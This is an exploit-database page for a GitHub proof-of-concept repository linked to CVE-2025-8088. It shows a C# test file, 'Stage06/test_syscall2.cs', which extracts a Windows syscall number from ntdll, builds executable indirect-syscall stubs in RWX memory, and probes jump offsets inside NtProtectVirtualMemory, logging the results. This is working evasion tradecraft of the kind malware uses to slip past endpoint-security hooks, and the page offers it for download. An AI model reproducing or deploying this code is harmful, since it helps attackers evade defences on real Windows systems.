Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files149
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage06/test_syscall2.cs

C# · 5,136 bytes
using System;
using System.IO;
using System.Text;
using System.Runtime.InteropServices;

class TestSyscall2
{
    [DllImport("kernel32")] static extern IntPtr GetModuleHandle(string m);
    [DllImport("kernel32")] static extern IntPtr GetProcAddress(IntPtr h, string n);
    [DllImport("kernel32")] static extern IntPtr LoadLibrary(string p);
    [DllImport("kernel32")] static extern IntPtr VirtualAlloc(IntPtr addr, UIntPtr size, uint type, uint protect);

    const uint MEM_COMMIT = 0x1000, MEM_RESERVE = 0x2000, PAGE_EXECUTE_READWRITE = 0x40;

    static string LogFile = @"C:\Windows\Temp\syscall2.txt";
    static void Log(string m) { File.AppendAllText(LogFile, m + "\n", Encoding.UTF8); }

    delegate int NtProtVMDelegate(IntPtr h, ref IntPtr addr, ref IntPtr size, uint prot, out uint old);

    static void Main()
    {
        Log("=== SYSCALL TEST 2 ===");
        try
        {
            LoadLibrary("kernel32.dll");
            IntPtr ntdll = GetModuleHandle("ntdll.dll");
            IntPtr ntProt = GetProcAddress(ntdll, "NtProtectVirtualMemory");
            long ntProtOff = ntProt.ToInt64() - ntdll.ToInt64();
            Log("NtProtectVirtualMemory: ntdll+0x" + ntProtOff.ToString("X"));

            byte[] stub = new byte[24];
            Marshal.Copy(ntProt, stub, 0, 24);
            Log("Stub: " + BitConverter.ToString(stub));

            int ssn = stub[4] | (stub[5] << 8) | (stub[6] << 16) | (stub[7] << 24);
            Log("SSN=0x" + ssn.ToString("X"));

            // Find syscall offset
            int syscallOff = -1;
            for (int i = 0; i < 22; i++)
                if (stub[i] == 0x0F && stub[i+1] == 0x05 && stub[i+2] == 0xC3)
                { syscallOff = i; break; }
            Log("syscall;ret at offset " + syscallOff);

            IntPtr syscallAddr = new IntPtr(ntProt.ToInt64() + syscallOff);

            // Test 1: Direct indirect syscall (same SSN, jump to syscall of same funtion)
            // Stub: mov r10, rcx; mov eax, SSN; mov rax, syscallAddr; jmp rax
            // This should work identically to calling ntdll directly
            IntPtr code1 = BuildIndirect(ssn, syscallAddr);
            var func1 = (NtProtVMDelegate)Marshal.GetDelegateForFunctionPointer(code1,
                typeof(NtProtVMDelegate));

            // Test 2: Direct jmp to the beginning of the function (no SSN change)
            // This is just a funtion pointer - equivalent to direct call
            var funcDirect = (NtProtVMDelegate)Marshal.GetDelegateForFunctionPointer(ntProt,
                typeof(NtProtVMDelegate));

            // Test 3: Jmp to ntdll function entry but with SSN changed
            // This tests if the issue is jumping into the middle of a function
            IntPtr code3 = BuildIndirect(ssn, ntProt);
            var func3 = (NtProtVMDelegate)Marshal.GetDelegateForFunctionPointer(code3,
                typeof(NtProtVMDelegate));

    // Test: jump to different offsets in the function
    int[] testOffsets = { 0, 3, 8, 12, 18, 19 };
    for (int ti = 0; ti < testOffsets.Length; ti++)
    {
        int off = testOffsets[ti];
        IntPtr target = new IntPtr(ntProt.ToInt64() + off);
        byte[] check = new byte[2];
        Marshal.Copy(target, check, 0, 2);
        string desc = off == 0 ? "ENTRY" : off == 3 ? "AFTER_MOV_R10" : off == 8 ? "BEFORE_TEST" : off == 12 ? "MID_TEST" : off == 18 ? "SYSCALL" : "SSCALL+1";

        IntPtr code2 = BuildIndirect(ssn, target);
        var f = (NtProtVMDelegate)Marshal.GetDelegateForFunctionPointer(code2, typeof(NtProtVMDelegate));

        IntPtr m = VirtualAlloc(IntPtr.Zero, (UIntPtr)0x1000, MEM_COMMIT | MEM_RESERVE, 0x04);
        IntPtr b = m; IntPtr s = (IntPtr)0x1000; uint o;
        int st = f(new IntPtr(-1), ref b, ref s, 0x40, out o);
        Log("OFFSET+" + off + "(" + desc + "): status=0x" + st.ToString("X8") + " old=0x" + o.ToString("X8") + " [" + check[0].ToString("X2") + " " + check[1].ToString("X2") + "]");
        if (st != 0) { Log("  >> FAIL at offset+" + off); break; }
    }
        }
        catch (Exception ex) { Log("FATAL: " + ex.ToString()); }
    }

    static IntPtr BuildIndirect(int ssn, IntPtr targetAddr)
    {
        // mov r10, rcx ; 3
        // mov eax, ssn ; 5
        // mov rax, target ; 10
        // jmp rax ; 2
        // total: 20
        IntPtr code = VirtualAlloc(IntPtr.Zero, (UIntPtr)20,
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        byte[] b = new byte[20];
        b[0] = 0x4C; b[1] = 0x8B; b[2] = 0xD1;
        b[3] = 0xB8;
        b[4] = (byte)(ssn & 0xFF); b[5] = (byte)((ssn>>8)&0xFF);
        b[6] = (byte)((ssn>>16)&0xFF); b[7] = (byte)((ssn>>24)&0xFF);
        b[8] = 0x48; b[9] = 0xB8;
        long ta = targetAddr.ToInt64();
        b[10] = (byte)(ta & 0xFF); b[11] = (byte)((ta>>8)&0xFF);
        b[12] = (byte)((ta>>16)&0xFF); b[13] = (byte)((ta>>24)&0xFF);
        b[14] = (byte)((ta>>32)&0xFF); b[15] = (byte)((ta>>40)&0xFF);
        b[16] = (byte)((ta>>48)&0xFF); b[17] = (byte)((ta>>56)&0xFF);
        b[18] = 0xFF; b[19] = 0xE0;
        Marshal.Copy(b, 0, code, 20);
        return code;
    }
}